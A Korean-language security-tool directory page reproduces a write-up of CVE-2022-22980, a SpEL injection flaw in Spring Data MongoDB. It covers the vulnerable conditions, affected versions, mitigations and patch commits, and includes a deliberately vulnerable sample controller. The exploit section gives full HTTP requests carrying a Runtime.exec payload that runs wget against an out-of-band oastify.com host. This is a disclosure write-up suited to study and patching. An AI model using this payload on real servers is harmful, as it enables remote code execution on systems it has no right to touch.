Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22980 — [CVE-2022-22980] Spring Data MongoDB SpEL 표현식 주입 | Kitploit
도구/GitHubGitHub/murataydemir/cve-2022-22980
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationDatabase Security
GitHubmurataydemir/cve-2022-22980

CVE-2022-22980

[CVE-2022-22980] Spring Data MongoDB SpEL 표현식 주입

저장소 보기
5114년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2022-22980] Spring Data MongoDB SpEL 표현식 주입


MongoDB는 대용량 데이터 저장을 위해 확장 가능하고 유연한 문서 지향 NoSQL 데이터베이스입니다. 기존 관계형 데이터베이스에서 테이블과 행을 사용하는 대신 MongoDB는 컬렉션과 문서를 사용합니다. 문서는 MongoDB에서 데이터의 기본 단위인 키-값 쌍으로 구성됩니다.

Spring Data for MongoDB는 포괄적인 Spring Data 프로젝트의 일부로, 저장소 고유의 기능과 역량을 유지하면서 새로운 데이터 저장소를 위해 친숙하고 일관된 Spring 기반 프로그래밍 모델을 제공하는 것을 목표로 합니다. Spring Data MongoDB 프로젝트는 MongoDB 문서 데이터베이스와의 통합을 제공합니다. Spring Data MongoDB의 주요 기능 영역은 MongoDB DBCollection과 상호 작용하기 위한 POJO 중심 모델과 Repository 스타일 데이터 액세스 계층을 쉽게 작성하는 것입니다.

2022년 6월 20일, VMware는 공식 웹사이트에서 Spring Data MongoDB에 영향을 미치는 SpEL 표현식 주입(원격 코드 실행으로 이어짐) 취약점과 관련된 보안 권고를 발표했습니다. 아래에서 CVE-2022-22980 취약점에 대한 자세한 정보를 확인할 수 있습니다.

취약점
Spring Data MongoDB 애플리케이션은 입력이 정화되지 않은 경우 값 바인딩을 위한 쿼리 매개변수 플레이스홀더를 포함하는 SpEL 표현식과 함께 @Query 또는 @Aggregation 주석이 달린 쿼리 메서드를 사용할 때 SpEL 주입에 취약합니다. 또는 추가 애플리케이션 코드를 포함하지 않고 리포지토리 쿼리 메서드를 노출하는 설정(예: Spring Data REST)도 취약합니다.

구체적으로, 다음 조건이 모두 참일 때 애플리케이션이 취약합니다:

  • 리포지토리 쿼리 메서드가 SpEL(Spring Expression Language)을 사용하고 SpEL 표현식 내에서 입력 매개변수 참조(, , …)를 사용하는 또는 으로 주석 처리됨
?0
?1
@Query
@Aggregation
  • 주석이 달린 쿼리 또는 집계 값/파이프라인이 표현식 내에서 매개변수 플레이스홀더 구문을 사용하는 SpEL 부분을 포함함
  • 사용자가 제공한 입력이 애플리케이션에 의해 정화되지 않음
  • Spring Data MongoDB 3.4.0, 3.3.0 ~ 3.3.4 및 이전 버전
  • 다음 중 하나라도 참이면 애플리케이션이 취약하지 않습니다:

    • 주석이 달린 리포지토리 쿼리 또는 집계 메서드가 표현식을 포함하지 않음
    • 주석이 달린 리포지토리 쿼리 또는 집계 메서드가 표현식 내에서 매개변수 플레이스홀더 구문을 사용하지 않음
    • 사용자가 제공한 입력이 애플리케이션에 의해 정화됨
    • 리포지토리가 SpEL 사용을 제한하는 QueryMethodEvaluationContextProvider를 사용하도록 구성됨

    영향받는 버전
    Spring Data MongoDB 3.4.0, 3.3.0 ~ 3.3.4 및 이전 버전이 CVE-2022-22980 Spring Data MongoDB SpEL 표현식 주입 취약점의 영향을 받습니다.

    상태
    수정 사항이 포함된 Spring Data MongoDB 3.4.1 및 3.3.5가 릴리스되었습니다.

    완화 및 제안된 해결 방법
    권장되는 대응 방법은 Spring Data MongoDB 3.4.1 및 3.3.5 이상으로 업데이트하는 것입니다. 이렇게 하면 해결 방법이 필요하지 않습니다. 그러나 일부 사용자는 업그레이드를 신속하게 수행할 수 없는 상황에 처할 수 있습니다. 이러한 이유로 Spring 팀은 아래에 몇 가지 해결 방법을 제공했습니다.

    • 배열 구문 사용: 애플리케이션에 사용자 입력에 의해 제어되는 동적 SpEL 표현식이 필요한 경우, 표현식 내에서 매개변수 참조(?0 대신 [0])를 사용하도록 쿼리 또는 집계 선언을 다시 작성
    • 사용자 정의 리포지토리 메서드 구현: SpEL 표현식을 사용자 정의 리포지토리 메서드 구현으로 대체하는 것은 애플리케이션 코드 내에서 동적 쿼리를 조합하는 실행 가능한 해결 방법입니다. 자세한 내용은 리포지토리 사용자 정의에 대한 참조 문서를 참조하세요.
    • 쿼리 메서드를 호출하기 전에 매개변수 정화

    패치 분석: GitHub 이슈 및 관련 커밋
    SpEL 주입 취약점에 대한 GitHub 이슈는 github.com/spring-projects/spring-data-mongodb/issues/4089에서 확인할 수 있습니다.
    아래의 두 커밋을 통해 관련 취약점이 수정되었습니다.

    • 7c5ac764b343d45e5d0abbaba4e82395b471b4c4
    • 5e241c6ea55939c9587fad5058a07d7b3f0ccbd3

    이 커밋들을 통해 spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java 클래스가 추가되었습니다.

    root@kitploit:~
    class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
    
    	ValueProvider valueProvider;
    	ExpressionParser expressionParser;
    	Supplier<EvaluationContext> evaluationContext;
    
    	public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
    			Supplier<EvaluationContext> evaluationContext) {
    
    		this.valueProvider = valueProvider;
    		this.expressionParser = expressionParser;
    		this.evaluationContext = evaluationContext;
    	}
    
    	@Nullable
    	@Override
    	public <T> T evaluate(String expression) {
    		return evaluateExpression(expression, Collections.emptyMap());
    	}
    
    	public EvaluationContext getEvaluationContext(String expressionString) {
    		return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
    	}
    
    	public SpelExpression getParsedExpression(String expressionString) {
    		return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
    				.parseExpression(expressionString);
    	}
    
    	public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
    
    		SpelExpression expression = getParsedExpression(expressionString);
    		EvaluationContext ctx = getEvaluationContext(expressionString);
    		variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
    
    		Object result = expression.getValue(ctx, Object.class);
    		return (T) result;
    	}
    }
    

    Screenshot 2022-06-28 102025

    spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java 클래스도 다음과 같이 수정되었습니다:

    Screenshot 2022-06-28 105719

    spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java 클래스의 최종(수정된) 버전은 다음과 같습니다:

    root@kitploit:~
    package org.springframework.data.mongodb.util.json;
    
    import java.util.Map;
    import java.util.function.Function;
    import java.util.function.Supplier;
    
    import org.springframework.data.mapping.model.SpELExpressionEvaluator;
    import org.springframework.data.spel.ExpressionDependencies;
    import org.springframework.data.util.Lazy;
    import org.springframework.expression.EvaluationContext;
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.lang.Nullable;
    
    /**
     * Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
     * To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
     *
     * @author Christoph Strobl
     * @author Mark Paluch
     * @since 2.2
     */
    public class ParameterBindingContext {
    
    	private final ValueProvider valueProvider;
    	private final SpELExpressionEvaluator expressionEvaluator;
    
    	/**
    	 * @param valueProvider
    	 * @param expressionParser
    	 * @param evaluationContext
    	 */
    	public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
    			EvaluationContext evaluationContext) {
    		this(valueProvider, expressionParser, () -> evaluationContext);
    	}
    
    	/**
    	 * @param valueProvider
    	 * @param expressionParser
    	 * @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
    	 * @since 2.2.3
    	 */
    	public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
    			Supplier<EvaluationContext> evaluationContext) {
    		this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
    	}
    
    	/**
    	 * @param valueProvider
    	 * @param expressionEvaluator
    	 * @since 3.1
    	 */
    	public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
    		this.valueProvider = valueProvider;
    		this.expressionEvaluator = expressionEvaluator;
    	}
    
    	/**
    	 * Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
    	 * {@link EvaluationContext} based on {@link ExpressionDependencies}.
    	 *
    	 * @param valueProvider
    	 * @param expressionParser
    	 * @param contextFunction
    	 * @return
    	 * @since 3.1
    	 */
    	public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
    			Function<ExpressionDependencies, EvaluationContext> contextFunction) {
    
    		return new ParameterBindingContext(valueProvider,
    				new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
    
    					@Override
    					public EvaluationContext getEvaluationContext(String expressionString) {
    
    						Expression expression = getParsedExpression(expressionString);
    						ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
    						return contextFunction.apply(dependencies);
    					}
    				});
    	}
    
    	@Nullable
    	public Object bindableValueForIndex(int index) {
    		return valueProvider.getBindableValue(index);
    	}
    
    	@Nullable
    	public Object evaluateExpression(String expressionString) {
    		return expressionEvaluator.evaluate(expressionString);
    	}
    
    	@Nullable
    	public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
    
    		if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
    			return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
    					variables);
    		}
    		return expressionEvaluator.evaluate(expressionString);
    	}
    
    	public ValueProvider getValueProvider() {
    		return valueProvider;
    	}
    }
    

    그리고 ParameterBindingJsonReader.java 클래스의 재구성 덕분에 Query 또는 Aggregation 주석의 값 내에서 사용되는 매개변수를 바인딩할 때 매개변수 유형이 보존되도록 보장되었습니다. 아래 스크린샷에서 ParameterBindingJsonReader.java 클래스의 커밋 변경 사항을 확인할 수 있습니다:

    Screenshot 2022-06-28 145001

    Screenshot 2022-06-28 145043

    Screenshot 2022-06-28 145303

    익스플로잇 단계
    익스플로잇 단계를 설명하기 전에, 샘플 취약 프로젝트(@Query 주석 사용)의 UserRepository.java 클래스가 다음과 같이 설명됩니다:

    root@kitploit:~
    package com.example.mongodb.repository;
    
    import org.springframework.data.mongodb.repository.MongoRepository;
    
    import com.example.mongodb.model.User;
    import org.springframework.data.mongodb.repository.Query;
    
    public interface UserRepository extends MongoRepository<User, String> {
    
       @Query("{ 'userName' : ?#{?0}}")
       public User findByUserNameLike(String userName);
    }
    

    com.example.mongodb.repository.UserRepository 네임스페이스를 임포트하는 샘플 컨트롤러 클래스 UserController.java도 다음과 같이 설명됩니다:

    root@kitploit:~
    package com.example.mongodb.controller;
    
    import com.example.mongodb.model.User;
    import com.example.mongodb.repository.UserRepository;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.http.MediaType;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestBody;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseStatus;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.http.HttpStatus;
    
    import java.io.UnsupportedEncodingException;
    import java.net.URLDecoder;
    
    @RestController
    @RequestMapping("/v1/user")
    public class UserController {
    
       @Autowired
       private UserRepository userRepository;
    
       @ResponseStatus(HttpStatus.CREATED)
       @PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
       public User createUser(@RequestBody User user) {
          return userRepository.save(user);
       }
    
       @PostMapping(value="/get")
       public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
          return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
       }
    

    익스플로잇 요청 및 응답

    root@kitploit:~
    POST /v1/user/get HTTP/1.1
    Host: vulnerablehost:9090
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    
    keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
    
    root@kitploit:~
    HTTP/1.1 500 
    Content-Type: application/json
    Date: Wed, 22 Jun 2022 14:21:20 GMT
    Connection: close
    Content-Length: 112
    
    {
      "timestamp": "2022-06-22T14:21:20.604+00:00",
      "status": 500,
      "error": "Internal Server Error",
      "path": "/v1/user/get"
    }
    

    1 2 Screenshot 2022-06-22 162712

    root@kitploit:~
    POST /v1/user/get HTTP/1.1
    Host: vulnerablehost:9090
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 116
    
    keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
    
    root@kitploit:~
    HTTP/1.1 500 
    Content-Type: application/json
    Date: Wed, 22 Jun 2022 14:36:10 GMT
    Connection: close
    Content-Length: 112
    
    {
      "timestamp": "2022-06-22T14:36:10.827+00:00",
      "status": 500,
      "error": "Internal Server Error",
      "path": "/v1/user/get"
    }
    

    4 5 Screenshot 2022-06-22 164810

    이 취약점의 수정에 대한 자세한 내용은 다음 리소스를 방문하십시오:

    • VMware 권고: Spring Data MongoDB SpEL 표현식 주입 취약점 (CVE-2022-22980)
    • Tenable 권고: CVE-2022-22980
    • Spring 권고: Spring Data MongoDB SpEL 표현식 주입 취약점 (CVE-2022-22980)
    • GitHub Advisory Database: Spring Data MongoDB의 SpEL 주입
    • NIST 권고: CVE-2022-22980
    • MITRE 권고: CVE-2022-22980

    크레딧:

    • 이 문제는 NSFOCUS TIANJI Lab의 Zewei Zhang이 식별하고 책임감 있게 보고했습니다.
    • github.com/kuron3k0/Spring-Data-Mongodb-Example
    • github.com/trganda/CVE-2022-22980
    • github.com/li8u99/Spring-Data-Mongodb-Demo
    • github.com/jweny/cve-2022-22980-exp
    도구 다운로드